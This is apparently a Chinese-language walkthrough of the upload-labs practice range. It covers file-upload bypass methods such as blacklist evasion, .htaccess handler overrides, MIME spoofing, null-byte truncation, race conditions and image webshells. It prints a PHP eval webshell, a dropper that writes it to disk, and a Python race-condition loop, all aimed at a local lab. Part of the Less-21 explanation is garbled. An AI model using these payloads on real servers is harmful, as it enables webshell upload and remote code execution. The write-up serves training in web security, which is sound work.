0x01 前端绕过(Less-1)
数据上传后为提交到服务器,而是由于网站页面的js对其进行过滤,确认是否可以上传,删除限制上传js规则即可。
0x02 后端绕过
1.黑名单绕过
1) 上传特殊可解析后缀 (Less-3)
按照往常改后缀为php发现不允许上传.asp,.aspx,.php,.jsp后缀文件!黑名单
尝试php2、php3、php4等特殊后缀
2) 上传.htaccess (Less-4)
$deny_ext=array黑名单中没有限制.htaccess后缀的文件,因此使用.htaccess后缀绕过。
htaccess文件一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
.htaccess:apache拓展配置文件,可以与解析文件在同一个目录
前提条件:1.mod_rewrite模块开启。2.AllowOverride All
<FilesMatch "、1.png">
SetHandler application/x-httpd-php #1.png文件会被当做php来解析
<IfModule mime_module>
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
SetHandler application/x-httpd-php #所有文件都会被当作php来解析
先上传一个.htaccess的文件
文件内容为
紧接着上传.png的图片马
上传成功
3) 大小写绕过 (Less-6)
4) 点绕过 (Less-8)
5) 空格绕过 (Less-7)
发现没有去除空格
6) ::$DATA绕过 (Less-9)
通过源码发现,没有去除::$DATA
7) 配合解析漏洞 (Less-19)
由于某种失误,在开始操作之前需更改文件上传之后存放的路径
查找$this->cls_upload_dir 将文件上传后的路径改为upload
我们来看看源码,发现服务器先将文件后缀与白名单进行对比,因此不能再上传php文件,只能上传图片马,在其没有重命名之前访问,图片马执行配合其他漏洞,如文件包含,apache解析漏洞等等。
Shell.php
1<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["upload"]);?>’); ?>
只要访问了shell.php,php文件就会成功解析执行,自动创建info.php文件,写入一句木马<?php @eval($_POST["upload"]);?>。
还是使用shell.php,制作一个图片马,利用bp进行多线程重放数据包,同时运行py文件,当出现ok时,说明也生成了info.php
import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/pass19.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
随后使用蚁剑连接url
8) 双后缀名绕过 (Less-11)
2.白名单绕过
1) MIME绕过 (Less-2)
直接修改Content-Type
Content-Type:image/jpeg
Content-Type:image/png
Content-Type:image/jif
2) %00截断 (Less-12、Less-20)
-
Less-12
文件路径%00截断
使用$img_path进行拼接,因此可以利用%00截断绕过,但需满足两个条件。
满足条件:php版本小于5.3.4;php.ini中magic_quotes_gpc = Off
上传一个1.png的文件,在save_path=…/upload后加上/1.php%00
-
Less-20
可以看到move_uploaded_file()函数中的img_path是由post参数save_name控制的,所以我们可以通过%00截断进行绕过。方法同Less-13.
3) 0x00截断 (Less-13)
save_path参数通过POST方式传递,还是利用00截断,因为POST不会像GET对%00进行自动解码,所以需要自行修改。
Php5.3以上不支持
Php.ini中magic_quotes_gpc = Off
在upload后加上/1.php,选中.php后的空格,代码更改为hex,数字改为00,点击Apply changes。注意:我这里bp使用的是2020版本,在此之前的版本直接在resquest中更改hex
若request中与我的不一致,只需更改格式即可
4) 0x0a截断
3.其他类型
1) 条件竞争 (Less-18、Less-19)
- Less-18
文件上传至服务器,判断文件后缀是都在白名单,若在,则重命名;否则,删除。
Shell.php
1<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["upload"]);?>’); ?>
只要访问了shell.php,php文件就会成功解析执行,自动创建info.php文件,写入一句木马<?php @eval($_POST["upload"]);?>。
利用bp的intruder模块多线程重放数据包,不断刷新访问地址
127.0.0.1/upload-labs/upload/info.php
然后start attack
这里我没有使用py。具体请参考:
https://blog.csdn.net/weixin_40412037/article/details/103952295
- Less-19
详情见黑名单绕过-配合解析漏洞
2) 文件头检查 (Less-14)
通过文件前两个字节判断文件类型,直接上传图片码即可。
Cmd命令copy 1.jpg /b + 1.php /a 1.jpg 制作图片马
或者使用kali
cat 3.php >>3.jpg
3) 突破getimagesize() (Less-15)
通过getimagesize()函数判断文件类型,因此同样可以使用图片马。
4) 突破exif_imagetype() (Less-16)
通过exif_imagetype()函数判断文件类型,因此同样可以使用图片马。
5) 二次渲染绕过 (Less-17)
二次渲染原理:将显示正常的图片上传至服务器,上传后文件外部虽不会变化,但部分hex值会发生变化,寻找被渲染后图片与原始图片相同的部分,将一句哈木马插入该部分,实现上传webshell
具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的
0x03 绕过总结
0x04 upload-labs靶场剩余关卡
- Less-5
点+空格+点绕过
$deny_ext=array
黑名单限制了大部分上传后缀
查看代码发现存在明显的缺陷,删除胃部的点,收尾的空字符,删除::$DATA,因此可以利用”. .”的方式来绕过,即bp将后缀改为“.php. .“来进行黑名单校验。
-
Less-10
点+空格+点绕过,具体参照Less-5 -
Less-21
根据源代码,我们可以知道此处服务器端先是检查了MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给 f i l e , 否 则 就 是 将 s a v e n a m e 参 数 的 值 赋 给 它 。 紧 接 着 判 断 file,否则就是将save_name参数的值赋给它。紧接着判断 file,否则就是将savename参数的值赋给它。紧接着判断file是否是数组。如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。
在允许上传之后还要把数组的值拼接在一起对文件进行重命名。所以我们可以构造save_name[0]=1.php/ save_name[1]置为空 save_name[2]=jpg(一个白名单的合法后缀)。这样的话,reset($file)取的是数组的第一个元素即1.php/,然后接了一个’.'符号,之后又将数组最后一个元素内容拼接到一起。虽然数组最后一个值是jpg,但是当我们只设置了两个数组元素的时候,数组的元素个数就只有两个了。因此拼接是空的,所以最后得到的文件名就是1.php/.。又因为move_uploaded_file()函数会忽略掉文件末尾的/.,所以我们上传到服务器的
文件还是被重命名为了php后缀。
绕过方法:
1.将Content-Type修改为jpg格式
2.在save_name处加一个参数[0]
3.将upload-20.jpg改为upload-20.php/
4.添加jpg格式